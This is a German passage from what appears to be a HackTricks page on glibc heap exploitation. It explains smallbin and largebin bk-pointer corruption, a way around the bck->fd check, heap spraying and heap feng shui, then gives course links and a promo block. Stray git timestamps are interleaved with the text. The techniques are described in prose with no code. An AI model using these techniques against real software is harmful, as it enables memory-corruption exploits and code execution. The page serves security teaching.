Die freigegebenen Chunks werden je nach ihrer Größe in den Bin eingefügt. Bevor sie eingefügt werden, werden sie jedoch in unsorted bins gespeichert. Ein Chunk wird nicht sofort in seinen Bin eingefügt, sondern bleibt in unsorted bins. Wenn dann ein neuer Chunk reserviert wird und der zuvor freigegebene Chunk passt, wird er zurückgegeben, aber wenn ein größerer Chunk reserviert wird, wird der freigegebene Chunk in den entsprechenden Bin verschoben.
2024-02-10 15:36:32 +00:00
Um den verwundbaren Code zu erreichen, muss die Speicheranforderung größer als av->max\_fast (normalerweise 72) und kleiner als MIN\_LARGE\_SIZE (512) sein.
Wenn im Bin ein Chunk der richtigen Größe vorhanden ist, wird dieser zurückgegeben, nachdem er gelöst wurde:
bck = victim->bk; Zeigt auf den vorherigen Chunk, dies ist die einzige Information, die wir ändern können.
bin->bk = bck; Der vorletzte Chunk wird zum letzten, wenn bck auf den Stack zeigt, wird dem nächsten reservierten Chunk diese Adresse zugewiesen.
bck->fd = bin; Die Liste wird geschlossen, indem sie auf bin zeigt.
Es wird benötigt:
Reservieren Sie zwei mallocs, so dass das erste nach der Freigabe des zweiten überlaufen werden kann und in seinen Bin eingefügt wird (dh ein größeres malloc als das zweite Stück reserviert wird, bevor der Überlauf erfolgt).
Das vom Angreifer kontrollierte malloc, das an die vom Angreifer gewählte Adresse übergeben wird.
Das Ziel ist, wenn wir einen Heap überlaufen können, der darunter ein bereits freigegebenes Stück mit seinem Bin hat, können wir seinen bk-Pointer ändern. Wenn wir seinen bk-Pointer ändern und dieses Stück das erste in der Bin-Liste wird und reserviert wird, wird der Bin getäuscht und ihm wird gesagt, dass das letzte Stück in der Liste (das nächste Angebot) an der falschen Adresse liegt, die wir angegeben haben (zum Beispiel auf den Stack oder GOT). Wenn also ein weiteres Stück reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Stück an der gewünschten Position gegeben und er kann dort schreiben.
Nachdem das modifizierte Stück freigegeben wurde, muss ein größeres Stück als das freigegebene reserviert werden, damit das modifizierte Stück aus den unsortierten Bins entfernt und in seinen Bin eingefügt wird.
Sobald es in seinem Bin ist, ist es an der Zeit, seinen bk-Pointer durch den Überlauf zu ändern, damit er auf die gewünschte Adresse zeigt.
Der Bin muss warten, bis malloc() oft genug aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und den Bin dazu bringt zu glauben, dass das nächste Stück an der falschen Adresse liegt. Dann wird das gewünschte Stück gegeben.
Um die Schwachstelle so schnell wie möglich auszunutzen, wäre ideal: Reservierung des anfälligen Stücks, Reservierung des zu modifizierenden Stücks, Freigabe dieses Stücks, Reservierung eines größeren Stücks als das zu modifizierende, Modifizierung des Stücks (Schwachstelle), Reservierung eines Stücks derselben Größe wie das verwundbare und Reservierung eines zweiten Stücks derselben Größe, das auf die gewählte Adresse zeigt.
Um diesen Angriff zu schützen, wird die typische Überprüfung verwendet, dass das Stück "nicht" falsch ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der fd-Pointer des falschen Stücks, das auf dem Stack zeigt, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer auf irgendeine Weise (wahrscheinlich über den Stack) in der Lage sein, die Adresse von victim an der richtigen Stelle zu schreiben. Damit es wie ein echtes Stück aussieht.
**Korruption LargeBin**
Die gleichen Anforderungen wie zuvor sind erforderlich und einige mehr, außerdem müssen die reservierten Stücke größer als 512 sein.
Der Angriff ist wie zuvor, dh der bk-Pointer muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Stücks so geändert werden, dass size - nb < MINSIZE ist.
Zum Beispiel muss die Größe auf 1552 gesetzt werden, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned Wert verglichen wird).
Außerdem wurde ein Patch eingeführt, um es noch komplizierter zu machen.
**Heap Spraying**
Es besteht im Wesentlichen darin, so viel wie möglich Speicher für Heaps zu reservieren und diese mit einer Polsterung von Nops gefolgt von einer Shellcode zu füllen. Außerdem wird als Polsterung 0x0c verwendet. Es wird versucht, auf die Adresse 0x0c0c0c0c zu springen, und wenn also eine Adresse überschrieben wird, die mit dieser Polsterung aufgerufen wird, wird dorthin gesprungen. Im Wesentlichen besteht die Taktik darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Pointer überschrieben wird, und auf 0x0c0c0c0c zu springen, in der Hoffnung, dass dort Nops vorhanden sind.
**Heap Feng Shui**
Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass zwischen freien Stücken reservierte Stücke verbleiben. Der zu überlaufende Puffer wird in einem dieser Stücke platziert.
2024-02-10 15:36:32 +00:00
## Interessante Kurse
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
2024-02-10 15:36:32 +00:00
## **Referenzen**
2021-09-26 15:10:12 +00:00
2022-04-05 18:24:52 -04:00
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-30 11:12:47 +01:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>